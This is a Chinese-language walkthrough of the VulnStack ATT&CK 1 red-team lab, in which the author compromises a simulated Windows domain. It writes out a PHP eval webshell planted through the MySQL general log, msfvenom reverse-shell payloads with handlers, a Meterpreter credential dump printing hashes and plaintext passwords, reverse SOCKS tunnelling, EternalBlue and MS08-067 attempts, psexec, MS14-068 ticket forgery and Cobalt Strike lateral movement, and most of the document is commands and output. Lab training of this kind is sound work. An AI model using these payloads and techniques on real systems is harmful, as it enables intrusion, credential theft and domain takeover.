[toc]
VulnStack 0x01 靶场复现 - ATT&CK 1 下载链接: 漏洞详情 (qiyuanxuetang.net) ,喵的还是CS快乐
描述 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建 1.环境搭建测试 2.信息收集
二、漏洞利用 3.漏洞搜索与利用 4.后台Getshell上传技巧 5.系统信息收集 6.主机密码收集
三、内网搜集 7.内网–继续信息收集 8.内网攻击姿势–信息泄露 9.内网攻击姿势-MS08-067 10.内网攻击姿势-SMB远程桌面口令猜测 11.内网攻击姿势-Oracle数据库TNS服务漏洞 12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动 13.内网其它主机端口-文件读取 14.内网其它主机端口-redis 15.内网其它主机端口-redis Getshell 16.内网其它主机端口-MySQL数据库 17.内网其它主机端口-MySQL提权
五、构建通道 18.内网其它主机端口-代理转发
六、持久控制 19.域渗透-域成员信息收集 20.域渗透-基础服务弱口令探测及深度利用之powershell 21.域渗透-横向移动[wmi利用] 22.域渗透-C2命令执行 23.域渗透-利用DomainFronting实现对beacon的深度隐藏 24.域渗透-域控实现与利用
七、痕迹清理 25、日志清理
DNS可能会出现问题 由于WIN7链接外网,所以有可能会DNS解析出现问题导致vulnstack rpc 服务器不可用 1722
修复方法如下:
在C:\Windows\System32\drivers\etc\HOSTS
中添加
1 2 192.168.52.138 owa.god.org 192.168.52.138 god.org
基本信息
name
host
password
说明
win7
192.168.52.143 | 192.168.128.131
Passw0rd
WEB服务器
win2k3
192.168.52.141
Passw0rd
域成员
win2008
192.168.52.138
Passw0rd/hongrisec@2019
域控服务器
kali
192.168.128.130
attack
漏洞利用 result of dirsearch
/yxcms
/phpmyAdmin
/phpMyAdmin
yxcms - webshell
在右下角form中有提示
/index.php?r=admin进入。 后台的用户名:admin;密码:123456,请进入后修改默认密码。
1 http://192.168.128.131/yxcms/index.php?r=admin
username
password
admin
123456
利用修改页面功能写webshell
phpmyadmin - webshell 访问 phpmyAdmin
使用默认密码
username
password
root
root
getshell的常见方式: 1、select into outfile直接写入 2、开启全局日志getshell 3、使用慢查询日志getsehll
[Shell]MySql慢查询日志GetShell - 肖洋肖恩、 - 博客园 (cnblogs.com)
4、使用错误日志getshell 5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
注意secure_file_priv为NULL,不允许导入|导出
1 2 3 4 set global general_log='ON' ;set global general_log_file='C:/phpStudy/WWW/fe1w0.php' ;show global variables like "%genera%" ;SELECT "<?php @eval($_REQUEST[2234]);?>"
Variable_name
Value
general_log
ON
general_log_file
C:/phpStudy/WWW/fe1w0.php
之后访问http://192.168.128.131/fe1w0.php
msf - 反弹shell
这里没有查杀,就直接msf生成了。
1 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.20.185.65 lport=23333 -f exe -o reverse_tcp.exe
1 2 3 4 5 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcpset LHOST 172.20.185.65set LPORT 23333run
本机信息收集
命令名
说明
net view
获取当前组的计算机名,查看同一域/工作组的计算机列表
net user
用户信息的查询
`query user
net localgroup administrators
查询本地管理员组信息,通常那个域内机器会包含一些域内的信息
ipconfig /all
查询网络配置信息,判断是否有域的话可以根据DNS的后缀
nslookup
通过反向解析查询命令nslookup
来解析域名的IP 地址。使用解析出来的IP地址进 行对比,判断域控制器和DNS 服务器是否在同一台服务器上 dig
systeminfo
获取系统信息
tasklist
查询进程信息,用来查看需要是否存在杀软之类的
netstat -ano
查看端口信息
还有其他常用命令
详情:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 C:\tmp> net localgroup administrators 别名 administrators 注释 管理员对计算机/域有不受限制的完全访问权 成员 ------------------------------------------------------------------------------- Administrator GOD\Domain Admins liukaifeng01 命令成功完成。 C:\tmp> systeminfo 主机名: STU1 OS 名称: Microsoft Windows 7 专业版 OS 版本: 6.1.7601 Service Pack 1 Build 7601 OS 制造商: Microsoft Corporation OS 配置: 成员工作站 OS 构件类型: Multiprocessor Free 注册的所有人: Windows 用户
进程迁移 Meterpreter
1 2 3 4 5 getuid # 查看权限 getpid # 获取当前进程的pid sysinfo # 查看目标机系统信息 ps # 查看当前活跃进程 kill <PID值> 杀死进程 migrate [PID] 迁移进程
主机密码收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 getsystem # 需要system 权限 load kiwi help kiwi ----------- creds_all:列举所有凭据 creds_kerberos:列举所有kerberos凭据 creds_msv:列举所有msv凭据 creds_ssp:列举所有ssp凭据 creds_tspkg:列举所有tspkg凭据 creds_wdigest:列举所有wdigest凭据 dcsync:通过DCSync检索用户帐户信息 dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据 kerberos_ticket_list:列举kerberos票据 kerberos_ticket_purge:清除kerberos票据 kerberos_ticket_use:使用kerberos票据 kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文 password_change:修改密码 wifi_list:列出当前用户的wifi配置文件 wifi_list_shared:列出共享wifi配置文件/编码 ---------- meterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials msv credentials =============== Username Domain LM NTLM SHA1 -------- ------ -- ---- ---- Administrator GOD b34ce522c3e4c8774a3b108f3fa6cb6d a87f3a337d73085c45f9416be5787d86 34957e9ba3455a4a99d722b48693ac1123ba5dba STU1$ GOD 2404e1256ea6c84969dc5b0bef1f6df5 eb4abfba462ce13b563e06d4db43935cac2fdc96 wdigest credentials =================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator GOD Passw0rd STU1$ GOD ab ac d6 49 23 1d 76 1f ac 9b ab f2 88 57 b6 e9 02 76 a0 ce 60 25 4e 90 d4 4b a8 e3 e8 6a de eb 81 56 63 4f 06 9e 33 f3 ee 56 62 d5 4e 53 55 84 d0 79 7c da ad 7e bc 5f e4 83 86 e6 53 7c 06 ab b7 a3 40 0b ab c6 75 f2 bd e6 19 a0 8e fe cb 18 cf f7 5e 52 92 e3 dd 82 ed 8d e0 da 46 b9 92 fd 23 22 60 27 db d3 09 57 51 8d b5 99 b0 22 73 b4 88 cd f2 fe 97 e1 7b 22 8e 2d 85 f4 9c ea bd 6c 4f cf be 1d 36 ac 7a c0 40 76 54 e6 a9 3b 6e d1 7d b3 fc f5 2a ff d5 90 05 5c 4a 81 bf 48 8b 41 c3 44 68 03 36 5c 0a 86 c3 a9 a1 4d ed e2 ef 4d 6b 59 0e 72 8c c5 f4 4b 8e 92 bd ac 36 fe 5c ee f9 9a a8 7f ca 57 a9 8b 52 49 26 7b 7b fe 61 f1 11 35 98 35 b5 ae b0 e9 89 56 00 d1 ea 67 2a 06 48 d5 bd 13 72 6d de 1e e8 f5 2e 66 fb bb b6 82 tspkg credentials ================= Username Domain Password -------- ------ -------- Administrator GOD Passw0rd kerberos credentials ==================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator GOD.ORG Passw0rd stu1$ GOD.ORG ab ac d6 49 23 1d 76 1f ac 9b ab f2 88 57 b6 e9 02 76 a0 ce 60 25 4e 90 d4 4b a8 e3 e8 6a de eb 81 56 63 4f 06 9e 33 f3 ee 56 62 d5 4e 53 55 84 d0 79 7c da ad 7e bc 5f e4 83 86 e6 53 7c 06 ab b7 a3 40 0b ab c6 75 f2 bd e6 19 a0 8e fe cb 18 cf f7 5e 52 92 e3 dd 82 ed 8d e0 da 46 b9 92 fd 23 22 60 27 db d3 09 57 51 8d b5 99 b0 22 73 b4 88 cd f2 fe 97 e1 7b 22 8e 2d 85 f4 9c ea bd 6c 4f cf be 1d 36 ac 7a c0 40 76 54 e6 a9 3b 6e d1 7d b3 fc f5 2a ff d5 90 05 5c 4a 81 bf 48 8b 41 c3 44 68 03 36 5c 0a 86 c3 a9 a1 4d ed e2 ef 4d 6b 59 0e 72 8c c5 f4 4b 8e 92 bd ac 36 fe 5c ee f9 9a a8 7f ca 57 a9 8b 52 49 26 7b 7b fe 61 f1 11 35 98 35 b5 ae b0 e9 89 56 00 d1 ea 67 2a 06 48 d5 bd 13 72 6d de 1e e8 f5 2e 66 fb bb b6 82
内网搜集 内网–继续信息收集
whoami /all
查询域SID
net user test1 /domain
查询当前指定账户的详细信息
net config workstation
查询当前登录域及登录用户信息
net time /domain
一般会有三种情况:
存在域,但当前用户不是域用户,提示说明权限不够
存在域,并且当前用户是域用户
当前网络环境为工作组,不存在域
net group "Domain Controllers" /domain
查找域控
也可以采用 WMIC脚本来收集
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
探测域内其他主机 这里使用msf中的arp模板
1 2 3 4 5 6 7 8 meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24 [*] Running module against STU1 [*] ARP Scanning 192.168.52.0/24 [+] IP: 192.168.52.138 MAC 00:0c:29:ed:27:cb (VMware, Inc.) [+] IP: 192.168.52.143 MAC 00:0c:29:18:e1:36 (VMware, Inc.) [+] IP: 192.168.52.141 MAC 00:0c:29:64:85:1b (VMware, Inc.) [+] IP: 192.168.52.255 MAC 00:0c:29:18:e1:36 (VMware, Inc.)
1 2 3 4 5 C:\tmp> nbtscan-1.0.35.exe 192.168.52.0/24 >z.txt *timeout (normal end of scan) 192.168.52.138 GOD\OWA SHARING DC 192.168.52.141 GOD\ROOT-TVI862UBEH SHARING 192.168.52.143 GOD\STU1 SHARING
ip
说明
192.168.52.138
DC
192.168.52.141
域内其他机器
192.168.52.143
当前机器win7
开启代理 MSF 开启代理 [不太推荐]
虽然搭建方便,但response会出现一些问题(字符集不一样的情况下)
使用use auxiliary/server/socks_unc
1 2 3 background use auxiliary/server/socks_unc run
修改 /etc/proxychains4.conf
Earthworm [推荐] 浅谈内网渗透代理 - 先知社区 (aliyun.com)
反弹 SOCKS v5 服务器
需要先上传ew_for_Win.exe到边界机
修改proxychains文件
文件地址 /etc/proxychains.conf
修改为
1 2 3 4 5 6 7 [ProxyList] socks5 127.0.0.1 1080
监听1080端口
1 ./ew_for_linux64 -s rcsocks -l 1080 -e 8888
1 ew_for_Win.exe -s rssocks -d 192.168.128.130 -e 8888
Nmap 探测 MS08-067 1 proxychains nmap -n -p445 --script smb-vuln-ms08-067 192.168.52.141 192.168.52.143 192.168.52.138
结果如下:
MS08-067 [error] 1 2 3 use exploit/windows/smb/ms08_067_netapi set RHOSTS 192.168.52.141 run
双后打出GG,换了好几个target,还是不行
MS17-010 [error]
Microsoft 安全公告 MS17-010 - 严重 | Microsoft Docs
1 2 3 4 5 6 7 8 9 10 11 12 13 use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.52.138 192.168.52.141run |S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.141:445-<><>-OK |S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.141:135-<><>-OK [+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit) [*] Scanned 1 of 2 hosts (50% complete) |S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.138:445-<><>-OK |S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.138:135-<><>-OK [+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit) [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed
exploit 1 2 3 4 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.52.138 192.168.52.141show options run
Error有可能会报的,而且贼不稳
可以使用进程迁移 run post/windows/manage/migrate
,但效果平平
mimikatz 之后可以利用mimikatz来获取密码
1 2 3 4 getsystem load kiwi help kiwicreds_all
hash 传递 [Error] 1 2 3 4 5 6 use exploit/windows/smb/psexec set RHOSTS 192.168.52.138set SMBDomain god.orgset SMBUSER Administratorset SMBPASS Passw0rdset payload windows/meterpreter/reverse_tcp
MS 14-068 之前coblatstrike 获得
UserName
PassWord
Administrator
Passw0rd
获得 SID 1 2 3 4 5 6 7 8 9 10 11 beacon> shell whoami /user [*] Tasked beacon to run: whoami /user [+] host called home, sent: 43 bytes [+] received output: 用户信息 ---------------- 用户名 SID ================= ============================================= god\administrator S-1-5-21-2952760202-1353902439-2381784089-500
生成票据 下面使用 pykek
生成票据,首先用 cs
开一个 socks
代理,然后用 proxychains
把 pykek
带入内网
1 proxychains python2 ms14-068.py -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138 -p Passw0rd
然后使用 KrbCredExport 转 .ccache
为 kirbi
格式。
1 python2 /home/kali/KrbCredExport/KrbCredExport.py TGT_Administrator@god.org.ccache Administrator.ticket
在beacon中kerberos_ticket_use
,选择
其他方式 在minikatz
和hashdump
后
net view
在cobaltStrike
中net view
选择并psexec
,最后拿下